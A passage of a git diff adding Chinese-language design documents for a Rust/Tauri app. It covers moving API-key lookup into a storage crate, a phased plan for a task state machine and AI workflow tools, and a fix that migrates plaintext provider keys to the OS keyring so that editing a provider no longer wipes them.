| `src-tauri/src/commands/ai/secret.rs` | 瘦身为转发壳:`pub use df_storage::secret::*;` + 保留 `build_provider_for`(调 df_ai) |
|
||||
| `crates/df-nodes/src/ai_node.rs` | `parse_params` 改读 provider_id;execute 加 repo.get_by_id + resolve + ensure + build_provider;schema required 改 |
|
||||
| `src-tauri/src/lib.rs:28` | `df_storage::secret::migrate_secrets_to_keyring`(改 import) |
|
||||
| `commands/ai/commands.rs`(3 处) | import 改 `df_storage::secret::`(行为不变) |
|
||||
| `commands/ai/agentic.rs`(2 处) | import 改(build_provider_for 仍 src-tauri,resolve/ensure 改 df-storage) |
|
||||
| `commands/ai/title.rs` / `knowledge_inject.rs`(3 处) / `idea.rs`(1 处) / `project.rs`(2 处) | build_provider_for 调用点不变(src-tauri 保留) |
|
||||
| `crates/df-nodes/src/task_workflow_templates.rs` | ai/ai_self_review 节点 config 改注 `provider_id`(替代 base_url/api_key) |
|
||||
| 前端 `api/workflow.ts`(触发 run_workflow 处) | config 注 provider_id(替代 base_url/api_key 明文) |
|
||||
|
||||
### 4.2 风险
|
||||
|
||||
| 风险 | 等级 | 缓解 |
|
||||
|---|---|---|
|
||||
| keyring feature 传递:df-storage 加 keyring 后 Linux 无 native feat | 中 | workspace `Cargo.toml:42` 已含 `windows-native, apple-native`;CI 若有 Linux 跑 df-storage 单测需补 `linux-native` 或 cfg-gate keyring 单测 |
|
||||
| df-storage 单测触发 OS keyring 副作用 | 中 | keyring 相关单测加 `#[cfg(not(test))]` 或 mock trait 抽象;migrate 测试用 in_memory db + mock keyring |
|
||||
| 老配置兼容期明文路径残留 | 低 | parse_params 双路径兼容(provider_id 优先),deprecation warn 引导迁移 |
|
||||
| build_provider_for 下沉边界划错引循环依赖 | 中 | 严格:df-storage 只下沉纯密钥逻辑,build_provider_for 留 src-tauri(依赖 df-ai),方案 B 明确划界 |
|
||||
| run_workflow config 注入 provider_id 后,模板节点缺 provider_id 致 AiNode 报错 | 中 | AiNode 内部 provider_id 留空时取 DB `is_default=true` 首条(对齐 idea.rs:265-279 build_default_provider 模式) |
|
||||
| 前端 demoDag(ProjectDetail.vue)仍注明文 base_url/api_key | 低 | 老路径兼容,逐步切模板 provider_id |
|
||||
|
||||
### 4.3 实施步骤(可并发标注)
|
||||
|
||||
**阶段 1:下沉(串行,基础)**
|
||||
- S1:df-storage 加 keyring 依赖 + 新建 `crates/df-storage/src/secret.rs`(move 纯密钥逻辑,删除 build_provider_for)
|
||||
- S2:src-tauri `secret.rs` 改转发壳(`pub use df_storage::secret::*;` + 保留 build_provider_for 调 df_ai)
|
||||
- S3:`cargo check -p df-storage && -p src-tauri` 验证下沉零行为变化
|
||||
|
||||
**阶段 2:调用点 import 切换(可并发,S3 完成后)**
|
||||
- 并行 P1:`lib.rs:28` / `commands.rs`(3 处) / `agentic.rs`(2 处) 改 import(纯路径替换,行为零变)
|
||||
- 并行 P2:build_provider_for 调用点(title/knowledge_inject/idea/project,6 处)无需改(src-tauri 保留)
|
||||
- 合并:`cargo check` 全绿
|
||||
|
||||
**阶段 3:AiNode 注入链改造(串行,阶段 2 完成后)**
|
||||
- S4:`ai_node.rs parse_params` 改 provider_id 路径(双路径兼容)
|
||||
- S5:`ai_node.rs execute` 加 `AiProviderRepo::get_by_id + resolve + ensure + build_provider`
|
||||
- S6:`AiSelfReviewNode` 同构改造
|
||||
- S7:schema required 改 `["provider_id"]`
|
||||
|
||||
**阶段 4:模板 + 前端(可并发,阶段 3 完成后)**
|
||||
- 并行 P3:`task_workflow_templates.rs` ai/ai_self_review 节点 config 改 provider_id
|
||||
- 并行 P4:前端 `api/workflow.ts` / `TaskDetail.vue` 触发 run_workflow 处 config 注 provider_id
|
||||
|
||||
**阶段 5:验证(串行)**
|
||||
- S8:`cargo test -p df-storage`(keyring 单测 cfg-gate) / `-p df-nodes`(parse_params 双路径) / `-p src-tauri`
|
||||
- S9:端到端联调 AiNode 自审闭环⑥(模板触发 → AiNode 查 provider → LLM 调用 → 产出落 task.output_json)
|
||||
|
||||
**并发点**:阶段 2(P1+P2)、阶段 4(P3+P4) 可分别并发;阶段 1/3/5 串行(前后依赖)。
|
||||
|
||||
---
|
||||
|
||||
## 五、关键 file:line 索引
|
||||
|
||||
| 关注点 | 位置 |
|
||||
|---|---|
|
||||
| secret.rs 全貌 | `src-tauri/src/commands/ai/secret.rs:1-228` |
|
||||
| resolve_provider_secret | `secret.rs:97-102` |
|
||||
| ensure_resolved_key | `secret.rs:179-188` |
|
||||
| build_provider_for(留 src-tauri) | `secret.rs:164-175` |
|
||||
| keyring 服务名常量 | `secret.rs:18`(`devflow-ai-provider`) |
|
||||
| AiProviderRecord schema | `crates/df-storage/src/models.rs:147-159` |
|
||||
| ai_providers 建表 SQL | `crates/df-storage/src/migrations.rs:488-500`(V9) |
|
||||
| AiProviderRepo CRUD | `crates/df-storage/src/crud.rs:1113-1140` |
|
||||
| df-nodes Cargo.toml(已含 df-storage+df-ai) | `crates/df-nodes/Cargo.toml:6-17` |
|
||||
| df-storage Cargo.toml(缺 keyring) | `crates/df-storage/Cargo.toml:6-13` |
|
||||
| workspace keyring 声明 | `Cargo.toml:42` |
|
||||
| AiNode parse_params(明文 api_key 风险点) | `crates/df-nodes/src/ai_node.rs:38-112` |
|
||||
| AiNode execute build_provider | `ai_node.rs:135-138` |
|
||||
| AiSelfReviewNode execute | `ai_node.rs:330-358` |
|
||||
| run_workflow config 注入 | `src-tauri/src/commands/workflow.rs:67-76,245` |
|
||||
| NodeContext.config | `crates/df-workflow/src/node.rs:13-26` |
|
||||
| build_registry AiNode 工厂 | `src-tauri/src/state.rs:260-263` |
|
||||
| ai_list_providers mask | `src-tauri/src/commands/ai/commands.rs:675-688` |
|
||||
| 启动迁移 | `src-tauri/src/lib.rs:27-31` |
|
||||
| 12 调用点 | 见 1.2 表 |
|
||||
|
||||
---
|
||||
|
||||
## 六、决策记录(规格)
|
||||
|
||||
- **方案选型**:方案 B(df-storage 加薄 secret 查询方法)。理由:无循环依赖(build_provider_for 留 src-tauri)、DRY(keyring 解析唯一源)、df-nodes 零新依赖、FR-S1 闭环。
|
||||
- **config 注入**:仅 `provider_id`(非密);base_url/protocol/model 经 AiNode 从 record 读;api_key 经 `df_storage::secret::resolve_provider_secret` 解析,全程不进 IPC / NodeContext.config。
|
||||
- **run_workflow config 来源**:路径 1(前端只传 provider_id,AiNode 内部取默认/查表),run_workflow 签名不变(向后兼容)。
|
||||
- **兼容窗口**:parse_params 双路径(provider_id 优先,老 base_url/api_key 明文路径保留 + deprecation warn)。
|
||||
125
docs/02-架构设计/专项设计/任务推进链实施路径-2026-06-16.md
Normal file
125
docs/02-架构设计/专项设计/任务推进链实施路径-2026-06-16.md
Normal file
@@ -0,0 +1,125 @@
|
||||
# 任务推进链实施路径
|
||||
|
||||
> **日期**: 2026-06-16
|
||||
> **来源**: [任务执行与推进能力分析-2026-06-16.md](../05-代码审查/任务执行与推进能力分析-2026-06-16.md) 第八章(已核对注入)
|
||||
> **状态**: 规划定稿。**D-260616-01~04 已决策(2026-06-16)**:①前端对齐7态 ②任务软删(UI缓做) ③advance_task 走 **df-nodes Node** ④阶段1先行。**阶段1可启动(F-01~05)**。
|
||||
> **关联决策**: D-260616-01~04(决策结果见 todo.md 待决策区块)
|
||||
|
||||
---
|
||||
|
||||
## 〇、核对纠正(实施前必读)
|
||||
|
||||
经 Explore 代理核对,原分析报告「AI 缺 update_task / run_command 工具」**核实为假**:
|
||||
|
||||
| 工具 | 报告称 | 核实 | 证据 |
|
||||
|------|--------|------|------|
|
||||
| `update_task` | 缺失 | ❌ **存在** | tool_registry.rs:348,AI 能改任务字段(含 status,经裸 update_field 非状态机收口) |
|
||||
| `run_command` | 缺失 | ❌ **存在** | tool_registry.rs:468,完整 Shell 执行实现 |
|
||||
| `run_workflow` | 空壳桩 | ⚠️ **未注册** | tool_registry.rs 无此工具(连空壳都没有) |
|
||||
| `advance_task` | 缺失 | ✅ 确实缺失 | 全局搜零定义 |
|
||||
|
||||
**修正后结论**:AI **能**更新任务状态、**能**运行命令,但仍**不能**:① 触发三闸门推进链(无 advance_task)② 联动工作流(task_id=None + 无完成回调)③ 在对话中触发工作流(无 run_workflow 工具)。
|
||||
|
||||
---
|
||||
|
||||
## 一、阶段 0 — 基础修复(前置,部分已立)
|
||||
|
||||
已在 todo.md 立项 **B-260616-12~18**(状态枚举/路由/try-catch/字段保护/DDL/priority/绕 store)。
|
||||
|
||||
✅ **阻塞已解除(2026-06-16 D-01/D-02 决策)**:
|
||||
- B-260616-12(状态枚举)→ D-260616-01 定**前端对齐后端 7 态**,可直接做
|
||||
- B-260616-13(软删除)→ D-260616-02 定**加软删除对标 projects(UI 缓做)**,可直接做
|
||||
|
||||
---
|
||||
|
||||
## 二、阶段 1 — 推进骨架(手动闭环 ~200 行,报告建议先行)
|
||||
|
||||
目标:任务状态经「合法路径」推进,而非裸字段修改。
|
||||
|
||||
| 任务 | 内容 | 依赖 |
|
||||
|------|------|------|
|
||||
| **F-260616-01** [P1] | **状态机定义(df-nodes 新模块 `task_state_machine.rs`)**:7 态合法转换枚举(`todo→in_progress→in_review→testing→done` 闸门链 + `blocked` 退回 + `cancelled`)。独立模块,非挂在 TaskStatus enum 上。 | D-01✅ 前端对齐7态 |
|
||||
| **F-260616-02** [P1] | **advance_task 推进逻辑(df-nodes `task_advance_node.rs` 实现 Node trait)**:校验转换 + 原子写(下沉 SQL `WHERE status=:expected` 防 TOCTOU)。df-nodes 需补 `df-storage` 依赖读 TaskRecord(核实无循环)。IPC 层 thin 入口调 df-nodes。 | D-03✅ df-nodes, F-01 |
|
||||
| **F-260616-03** [P1] | `status` 移出 `update_task` 白名单(推进链唯一收口) | F-02(关联 B-260616-16) |
|
||||
| **F-260616-04** [P2] | `review_rounds` 字段(退回时 +1,任务卡显示「第 N 轮 review」) | F-01 |
|
||||
| **F-260616-05** [P1] | 前端 TaskDetail 推进按钮(手动推进,不接 AI) | F-02, F-03 |
|
||||
|
||||
此阶段不接 AI/工作流,纯人工推进,但状态机保护和收口到位。
|
||||
|
||||
---
|
||||
|
||||
## 三、阶段 2 — 工作流联动(单向)
|
||||
|
||||
目标:工作流执行能回写任务状态。
|
||||
|
||||
**F-260616-06** [P1](聚合):
|
||||
1. `run_workflow` IPC 支持 `task_id` 参数(去 workflow.rs:56 None 硬编码)
|
||||
2. 工作流完成回调 → 检查 task_id → 推进任务状态
|
||||
3. 定义任务推进 DAG 模板(AiNode 执行 + AiNode 自审 + HumanNode 核对)
|
||||
4. `advance_task` 触发对应闸门工作流
|
||||
5. 前端展示工作流执行进度
|
||||
|
||||
**依赖**:阶段 1 完成。详见报告 §8 阶段 2。
|
||||
|
||||
---
|
||||
|
||||
## 四、阶段 3 — AI 执行闭环
|
||||
|
||||
目标:AI 能真正执行任务内容。
|
||||
|
||||
**F-260616-07** [P2](聚合):
|
||||
1. `advance_task` AI 工具(让 AI 经合法路径推进)
|
||||
2. `run_workflow` AI 工具注册实装(核对:tool_registry.rs **无此工具**,需新建)
|
||||
3. AiNode 接入任务上下文(读任务描述 + 项目目录)
|
||||
4. AI 自审 verdict 结构化输出 + 解析
|
||||
5. 失败路径完整处理(退回/重做/保持)
|
||||
|
||||
**依赖**:阶段 2 完成。详见报告 §8 阶段 3。
|
||||
|
||||
---
|
||||
|
||||
## 五、阶段 4 — Git 集成(增强)
|
||||
|
||||
目标:代码类任务支持 Git 工作流。
|
||||
|
||||
**F-260616-08** [P3](聚合):
|
||||
1. 加 `kind` 字段(code/doc/design/generic)
|
||||
2. code kind 闸门接 git 命令(worktree/commit/merge)
|
||||
3. BranchRecord 联动(加 worktree_path)
|
||||
4. `on_task_advanced` 钩子填充(分支联动 + 项目 completed)
|
||||
|
||||
**依赖**:阶段 3 完成。详见报告 §8 阶段 4。
|
||||
|
||||
---
|
||||
|
||||
## 六、依赖关系图
|
||||
|
||||
```
|
||||
D-01 枚举方向 ──▶ F-01 状态机 ──▶ F-02 advance_task ──▶ F-03 收口 ──▶ F-05 前端按钮
|
||||
│ │
|
||||
└──▶ F-04 rounds └──▶ 阶段2(F-06) ──▶ 阶段3(F-07) ──▶ 阶段4(F-08)
|
||||
|
||||
D-03 架构落点 ──▶ F-02
|
||||
D-04 路径取舍 ──▶ 阶段1 是否先行
|
||||
```
|
||||
|
||||
**✅ 阶段 1 可启动(2026-06-16)**:D-01(前端 7 态)/ D-03(df-nodes Node)/ D-04(先行)三决策已定。阶段 1 ~200 行,从 0% 推进能力到「手动推进闭环」。df-nodes 落点核实可行(Node trait 纯接口 `df-workflow/src/node.rs:67`,现有 AiNode/HumanNode/ScriptNode,需补 `df-storage` 依赖无循环)。
|
||||
|
||||
---
|
||||
|
||||
## 七、待合并到 `docs/todo.md` 的指针
|
||||
|
||||
> 主文件 todo.md 并发修改频繁(后台代理),以下指针待稍后合并。合并时在「待决策」区块(D-260616-04 后)插入:
|
||||
|
||||
```
|
||||
### 🗺️ 任务推进链实施路径(2026-06-16 规划·供其他会话读取)
|
||||
|
||||
> 详见 [任务推进链实施路径-2026-06-16.md](./任务推进链实施路径-2026-06-16.md)。
|
||||
> 推进能力实现度 0%。**阶段 1 已解除阻塞(D-01/D-03/D-04 三决策已定 2026-06-16),可启动 F-01~05**。
|
||||
> 核对纠正:AI 有 update_task/run_command 工具,无 run_workflow/advance_task。
|
||||
|
||||
- [ ] F-260616-01~05 阶段1 推进骨架(状态机+advance_task+收口+rounds+前端按钮)
|
||||
- [ ] F-260616-06 阶段2 工作流联动(task_id+回调+DAG模板)
|
||||
- [ ] F-260616-07 阶段3 AI 执行闭环(advance_task/run_workflow 工具+AiNode+自审)
|
||||
- [ ] F-260616-08 阶段4 Git 集成(kind+git闸门+worktree)
|
||||
```
|
||||
343
docs/02-架构设计/专项设计/密钥迁移健壮性-2026-06-15.md
Normal file
343
docs/02-架构设计/专项设计/密钥迁移健壮性-2026-06-15.md
Normal file
@@ -0,0 +1,343 @@
|
||||
# 密钥迁移健壮性设计
|
||||
|
||||
> **真相源**(本文档唯一展开完整设计)。功能决策记录仅放摘要 + 指针。
|
||||
>
|
||||
> 背景:R-PD-1(全局代码 review 2026-06-15 §🔴 P1 需设计)— 编辑 provider 提交空 `api_key` 时,无条件把 DB `api_key` 置空走 `INSERT OR REPLACE`,**未迁移态** provider 的明文密钥被静默覆盖成空 → keyring 也空 → resolve 返空 → provider 报废,密钥永久丢失。
|
||||
> 状态:📐 **设计完成,未实施** | 创建:2026-06-15 | 来源:全局代码 review 2026-06-15
|
||||
|
||||
---
|
||||
|
||||
## 一、问题复现:精确触发条件
|
||||
|
||||
### 1.1 触发链路
|
||||
|
||||
前置条件(**未迁移态**):
|
||||
- 历史 DB:`ai_providers.api_key` 列存有明文密钥(FR-S1 之前的老数据)。
|
||||
- keyring:对应 `provider_id` 无 entry(迁移未成功,或启动迁移被跳过/失败)。
|
||||
- 即「DB 有明文、keyring 空」的双源不一致态。
|
||||
|
||||
操作:
|
||||
1. 用户进入「设置 → 提供商」,点编辑某 provider。
|
||||
2. 仅修改 `name` / `base_url`(**不重新填 `api_key`**)。
|
||||
3. 前端按约定把空 `api_key` 字段传给 IPC(约定:空 = 不改密钥)。
|
||||
4. 后端 `ai_save_provider` 命中空 `api_key` 分支 → 不写 keyring → `record.api_key = String::new()` → `INSERT OR REPLACE` 全字段覆盖。
|
||||
|
||||
### 1.2 keyring / DB 状态时序
|
||||
|
||||
```
|
||||
DB.api_key keyring
|
||||
─────────────────────────────────────────────
|
||||
T0 初始(老明文) "sk-real" (空)
|
||||
T1 编辑提交空 key → commands.rs:334 record.api_key=String::new()
|
||||
T2 INSERT OR REPLACE "sk-real" 覆盖为 "" (仍空)
|
||||
T3 resolve_provider_secret
|
||||
record.api_key 空 → fallback keyring → 仍空
|
||||
T4 build_provider_for → ensure_resolved_key → Err「未读取到密钥」
|
||||
T5 provider 报废,密钥永久丢失(无任何日志/提示)
|
||||
```
|
||||
|
||||
**关键坏点**:T0→T2 的「DB 有明文」这个唯一存活副本被无条件清空。一旦清空,DB 和 keyring 同时空,**无任何兜底**——`resolve_provider_secret`(secret.rs:30-35)先看 DB、再看 keyring,两源都空就返空串。
|
||||
|
||||
### 1.3 为什么 R-PD-1 比 CR-01 严重
|
||||
|
||||
| 项 | CR-01(已修) | R-PD-1(本设计) |
|
||||
|---|---|---|
|
||||
| 触发 | 删 provider 漏清 keyring | 编辑 provider 不改 key |
|
||||
| 后果 | keyring 残留(无消费方,不可复活) | **密钥永久丢失,provider 报废** |
|
||||
| 可逆性 | 残留可后续清,无危害 | **不可逆**——明文唯一副本被覆盖成空 |
|
||||
| 用户感知 | 无 | 静默丢失,下次调用 401/空密钥错才暴露 |
|
||||
|
||||
CR-01 是「清理时机」问题(残留不可复活),R-PD-1 是「明文副本被毁」问题(密钥丢失)——后者危害量级更高。
|
||||
|
||||
---
|
||||
|
||||
## 二、根因
|
||||
|
||||
双根因叠加:
|
||||
|
||||
### 2.1 根因 A:`INSERT OR REPLACE` 全字段覆盖
|
||||
|
||||
`crud.rs:890-900` 的 `AiProviderRepo::insert` 用 `INSERT OR REPLACE INTO ai_providers (...api_key...) VALUES (...)` —— 编辑场景下 id 已存在,REPLACE 整行删除重建,**所有字段**(含 `api_key`)按传入值落库。即使本次只改 `name`,`api_key` 也被强写为 `record.api_key` 的值。
|
||||
|
||||
调用方 `ai_save_provider`(commands.rs:334)始终把 `record.api_key` 设为空串,于是无论是否改密钥,DB 明文都被清。
|
||||
|
||||
> 注:`update_full`(crud.rs:901-910)走 `UPDATE ... SET api_key = ?` 同样全字段覆盖,问题对称。当前 `ai_save_provider` 走的是 `insert`,但即便切到 `update_full` 也不解决——根因在调用方传的值,不在 SQL 形式。
|
||||
|
||||
### 2.2 根因 B:「空 api_key = 不改」约定二义性
|
||||
|
||||
commands.rs:326-334 的约定:
|
||||
- `api_key` 非空 → 写 keyring(新/改密钥)
|
||||
- `api_key` 空 → 不写 keyring,「保留原 keyring 密钥不动」
|
||||
|
||||
这套约定隐含假设:**「保留原密钥」就是保留 keyring 里的密钥**。但未迁移态下 keyring 根本没有密钥,真正的密钥副本在 DB 明文里。约定只 cover 了「迁移完成态」(DB 空、keyring 有),完全没考虑「未迁移态」(DB 有明文、keyring 空)。
|
||||
|
||||
「空 = 不改」这个三字符约定的语义其实是**「不要动密钥」**,但代码实现成了**「把 DB 明文也清空」**——后者在迁移完成态碰巧无害(DB 本来就空),在未迁移态就是数据丢失。**约定本身没错,错的是实现把「不改」落成了「清空唯一副本」。**
|
||||
|
||||
### 2.3 为什么启动迁移没兜住
|
||||
|
||||
`migrate_secrets_to_keyring`(secret.rs:50-72)在启动时跑一次:
|
||||
- 成功:DB 明文 → keyring → DB 置空。完成后「未迁移态」消失。
|
||||
- 失败:`warn` 日志 + `continue`,**DB 明文保留**(设计意图:「下次重试」)。
|
||||
|
||||
正是「失败保留明文」这条安全网,制造了「未迁移态」长期存在的可能:keyring 写入失败(权限/锁定/平台差异)→ 明文滞留 DB → 用户进来编辑 → R-PD-1 触发。**这条安全网本意是保住密钥,却被根因 A/B 在编辑路径上反向利用成密钥丢失入口。**
|
||||
|
||||
---
|
||||
|
||||
## 三、方案对比
|
||||
|
||||
修复方向(review 给的指引):**空 `api_key` 时先确认 keyring 有/DB 有再决定清 DB——若 keyring 无且原 DB 非空,先 `set_provider_secret` 补迁再清 DB(即时迁移),保住密钥不丢。**
|
||||
|
||||
围绕这个方向,三个候选方案:
|
||||
|
||||
### 方案 A:编辑路径即时迁移(推荐)
|
||||
|
||||
`ai_save_provider` 空密钥分支前,加「保住密钥」前置:
|
||||
1. 读原 DB 记录的 `api_key`(明文)。
|
||||
2. 读 keyring 当前值。
|
||||
3. 决策矩阵:
|
||||
|
||||
| DB 原值 | keyring 现值 | 动作 |
|
||||
|---|---|---|
|
||||
| 非空 | 非空 | 二者一致?以 keyring 为准,DB 清空(迁移完成态编辑,行为同现状) |
|
||||
| 非空 | 空 | **即时迁移**:`set_provider_secret(DB 原值)` → 成功后 DB 清空;失败 → 报错阻断保存,**DB 明文不动** |
|
||||
| 空 | 非空 | 已迁移态编辑,DB 保持空(现状) |
|
||||
| 空 | 空 | 无密钥 provider(新建未填过 key),DB 保持空(现状) |
|
||||
|
||||
伪代码(commands.rs:328-355 改动):
|
||||
|
||||
```rust
|
||||
let provider_id = id.clone().unwrap_or_else(new_id);
|
||||
if !api_key.is_empty() {
|
||||
// 显式改密钥:写 keyring(现状不变)
|
||||
if let Err(e) = super::secret::set_provider_secret(&provider_id, &api_key) {
|
||||
return Err(format!("密钥保存到系统钥匙串失败: {}", e));
|
||||
}
|
||||
} else if let Some(pid) = &id {
|
||||
// 空 key 编辑:保住密钥,防未迁移态丢失
|
||||
let old = state.ai_providers.get_by_id(pid).await
|
||||
.map_err(|e| e.to_string())?;
|
||||
if let Some(old) = old {
|
||||
if !old.api_key.is_empty() {
|
||||
// DB 有明文 → 检查 keyring 是否已迁
|
||||
if super::secret::get_provider_secret(pid).is_none() {
|
||||
// keyring 空:即时迁移补密钥(失败则阻断保存,明文不动)
|
||||
if let Err(e) = super::secret::set_provider_secret(pid, &old.api_key) {
|
||||
return Err(format!(
|
||||
"检测到密钥尚未迁移至系统钥匙串,本次保存尝试迁移失败: {}。\
|
||||
已保留原密钥未改动,请重试或检查系统钥匙串权限后再次保存。",
|
||||
e
|
||||
));
|
||||
}
|
||||
tracing::info!("[FR-S1] 编辑路径即时迁移 provider {} 密钥至 keyring", pid);
|
||||
}
|
||||
// keyring 已有/迁移成功:DB 明文将在下方 INSERT OR REPLACE 清空(迁移完成)
|
||||
}
|
||||
}
|
||||
}
|
||||
let api_key = String::new(); // DB 恒空(真实密钥在 keyring)
|
||||
let record = AiProviderRecord { /* ... */ };
|
||||
```
|
||||
|
||||
**优点**:
|
||||
- 保住密钥不丢(核心目标达成)。
|
||||
- 顺带把「未迁移态」在编辑路径收敛到「迁移完成态」——用户每编辑一次,未迁移的 provider 自动补迁。
|
||||
- 调用方局部改动,不动 crud.rs / 不改 IPC 契约 / 不改前端。
|
||||
- 失败兜底明确:迁移失败直接 `Err` 阻断保存,**不会比现状更糟**(现状是静默丢失,这里至少明确报错 + 不动 DB)。
|
||||
|
||||
**缺点**:
|
||||
- 即时迁移失败时阻断保存——用户改个 name 也保存不了。但这是**正确行为**:保存就意味着要清 DB 明文,密钥没保住之前清掉就是丢失,宁可阻断也不丢。
|
||||
- 多一次 DB 读(`get_by_id`)——可接受(编辑本就低频,且 `ai_save_provider` 已读两次 `get_by_id` 取 `created_at`/`is_default`,再加一次读明文合理)。
|
||||
|
||||
### 方案 B:保留 DB 明文直到 keyring 确认成功
|
||||
|
||||
`ai_save_provider` 空密钥分支下,**不无条件清 DB**:若 keyring 无值,则 `record.api_key` 保留原 DB 明文,INSERT OR REPLACE 落库的还是明文;待启动迁移或下次显式改密钥时再清。
|
||||
|
||||
伪代码:
|
||||
```rust
|
||||
let api_key_for_db = if api_key.is_empty() {
|
||||
// 编辑不改 key:若 keyring 无值,保留 DB 明文不动
|
||||
let keyring_val = super::secret::get_provider_secret(&provider_id);
|
||||
match (keyring_val, id.as_ref().and_then(|pid| /* 读旧 DB 明文 */)) {
|
||||
(Some(_), _) => String::new(), // keyring 有 → DB 可空
|
||||
(None, Some(plaintext)) => plaintext, // keyring 无 → 保留 DB 明文
|
||||
(None, None) => String::new(), // 都无 → 新建无 key
|
||||
}
|
||||
} else {
|
||||
// 显式改 key:写 keyring,DB 空
|
||||
/* set_provider_secret ... */
|
||||
String::new()
|
||||
};
|
||||
let record = AiProviderRecord { api_key: api_key_for_db, /* ... */ };
|
||||
```
|
||||
|
||||
**优点**:保住明文,不依赖即时迁移成功。
|
||||
|
||||
**缺点**:
|
||||
- **DB 明文长期滞留**:与 FR-S1「DB api_key 列恒空」目标矛盾,恶化 R-PD-4(迁移失败明文滞留 SQLite 文件未加密)。
|
||||
- 把「编辑不改 key」从「收敛到迁移完成态」变成「维持未迁移态」,方向反了——本应借编辑机会收敛,方案 B 反而固化未迁移态。
|
||||
- 决策矩阵更绕(要协调「写 keyring 失败时回退 DB 明文」),引入新的不一致窗口(keyring 写一半失败、DB 仍明文、下次又来一遍)。
|
||||
|
||||
### 方案 C:显式迁移标志位
|
||||
|
||||
给 `AiProviderRecord` 加 `secret_migrated: bool` 列(或用 `config` JSON 存),空密钥分支下:
|
||||
- 标志位 true → 已迁移,DB 清空安全。
|
||||
- 标志位 false → 未迁移,DB 明文必须保留(或即时迁移)。
|
||||
|
||||
**优点**:状态显式可观测(不靠「DB 空 vs keyring 有」反推),排查友好。
|
||||
|
||||
**缺点**:
|
||||
- **schema 演进成本**:加列要迁移历史库(ALTER TABLE / 默认值 / 向后兼容老客户端读不懂新列)。
|
||||
- 三个真值源(标志位、DB 明文、keyring)比两个(DB 明文、keyring)更难保持一致——标志位忘更新又成新坑。
|
||||
- 收益与复杂度不匹配:方案 A 用「keyring 有/DB 有」二元判定已经足够,标志位是过度设计。
|
||||
- 与项目「务实最小改动」原则相悖。
|
||||
|
||||
### 方案取舍
|
||||
|
||||
| 维度 | A 即时迁移 | B 保留明文 | C 标志位 |
|
||||
|---|---|---|---|
|
||||
| 密钥不丢 | ✅ | ✅ | ✅(靠 A/B 实现) |
|
||||
| 收敛未迁移态 | ✅ 编辑即迁移 | ❌ 维持未迁移 | 取决于实现 |
|
||||
| 改动面 | 局部(commands.rs) | 局部(commands.rs) | 大(schema + crud + 模型 + 迁移) |
|
||||
| 与 FR-S1/R-PD-4 一致 | ✅ | ❌ 恶化明文滞留 | 中性 |
|
||||
| 复杂度 | 低 | 中 | 高 |
|
||||
|
||||
**推荐方案 A**:最小局部改动达成核心目标(密钥不丢),顺带收敛未迁移态,与 FR-S1 方向一致,失败兜底明确不劣化现状。
|
||||
|
||||
---
|
||||
|
||||
## 四、推荐方案 A:改动清单
|
||||
|
||||
### 4.1 改动文件
|
||||
|
||||
| 文件 | 改动 | 行号(截至 2026-06-15) |
|
||||
|---|---|---|
|
||||
| `src-tauri/src/commands/ai/commands.rs` | `ai_save_provider` 空密钥分支前加「保住密钥」前置(即时迁移) | 328-334(在 `let provider_id = ...` 与 `let api_key = String::new()` 之间插入) |
|
||||
|
||||
**不改动**:
|
||||
- `crates/df-storage/src/crud.rs` —— `INSERT OR REPLACE` 全字段覆盖是 storage 层中性能力,根因在调用方传值;改 SQL 反而把「保留密钥」语义下推到 storage(不该 storage 关心密钥迁移)。
|
||||
- `src-tauri/src/commands/ai/secret.rs` —— `set/get_provider_secret` 已具备所需能力,复用即可,无需新方法。
|
||||
- IPC 签名 / 前端 / DB schema —— 全部不动。
|
||||
|
||||
### 4.2 改动伪代码(完整版)
|
||||
|
||||
`commands.rs:328` 处(原代码):
|
||||
|
||||
```rust
|
||||
let provider_id = id.clone().unwrap_or_else(new_id);
|
||||
if !api_key.is_empty() {
|
||||
if let Err(e) = super::secret::set_provider_secret(&provider_id, &api_key) {
|
||||
return Err(format!("密钥保存到系统钥匙串失败: {}", e));
|
||||
}
|
||||
}
|
||||
let api_key = String::new(); // DB 恒空(真实密钥在 keyring)
|
||||
```
|
||||
|
||||
改为:
|
||||
|
||||
```rust
|
||||
let provider_id = id.clone().unwrap_or_else(new_id);
|
||||
if !api_key.is_empty() {
|
||||
// 显式改/填密钥 → 写 keyring(现状不变)
|
||||
if let Err(e) = super::secret::set_provider_secret(&provider_id, &api_key) {
|
||||
return Err(format!("密钥保存到系统钥匙串失败: {}", e));
|
||||
}
|
||||
} else if let Some(pid) = &id {
|
||||
// 空 key 编辑:保住密钥,防未迁移态静默丢失(R-PD-1)
|
||||
let old = state.ai_providers.get_by_id(pid).await
|
||||
.map_err(|e| e.to_string())?;
|
||||
if let Some(old) = old {
|
||||
if !old.api_key.is_empty()
|
||||
&& super::secret::get_provider_secret(pid).is_none()
|
||||
{
|
||||
// DB 有明文 且 keyring 无 → 即时迁移补密钥
|
||||
if let Err(e) = super::secret::set_provider_secret(pid, &old.api_key) {
|
||||
return Err(format!(
|
||||
"检测到该提供商密钥尚未迁移至系统钥匙串,本次保存尝试即时迁移失败({})。\
|
||||
已保留原密钥未改动——请检查系统钥匙串权限后再次保存。",
|
||||
e
|
||||
));
|
||||
}
|
||||
tracing::info!(
|
||||
"[FR-S1] 编辑路径即时迁移 provider {} 密钥至 keyring(R-PD-1 兜底)",
|
||||
pid
|
||||
);
|
||||
}
|
||||
// else: keyring 已有 / DB 已空 → INSERT OR REPLACE 清空 DB 明文安全
|
||||
}
|
||||
}
|
||||
let api_key = String::new(); // DB 恒空(真实密钥在 keyring)
|
||||
```
|
||||
|
||||
### 4.3 决策点
|
||||
|
||||
| 决策 | 取值 | 原因 |
|
||||
|---|---|---|
|
||||
| 即时迁移失败时 | `Err` 阻断保存,**DB 明文不动** | 保存即清 DB 明文,密钥没保住前清掉就是丢失;阻断 + 明确报错优于静默丢失 |
|
||||
| 判定密钥源 | keyring 有 → 安全清;DB 有 + keyring 无 → 即时迁移;都无 → 新建无 key | 三状态全覆盖,无遗漏分支 |
|
||||
| 迁移后是否额外校验 keyring 写入 | 不校验(信任 `set_provider_secret` 返回 Ok) | `set_provider_secret` 已是 keyring 写入的真相源,重复读 keyring 验证属过度防御 |
|
||||
| 即时迁移的范围 | 仅编辑路径(`ai_save_provider` 空 key 分支) | 启动迁移 `migrate_secrets_to_keyring` 是批量兜底,编辑路径是单点收敛;两者互补不重叠 |
|
||||
| 是否记日志 | 成功迁移记 `info`,失败走 `Err`(用户可见) | 成功迁移是状态收敛好事值得记;失败用户必须知道 |
|
||||
|
||||
---
|
||||
|
||||
## 五、风险与兜底
|
||||
|
||||
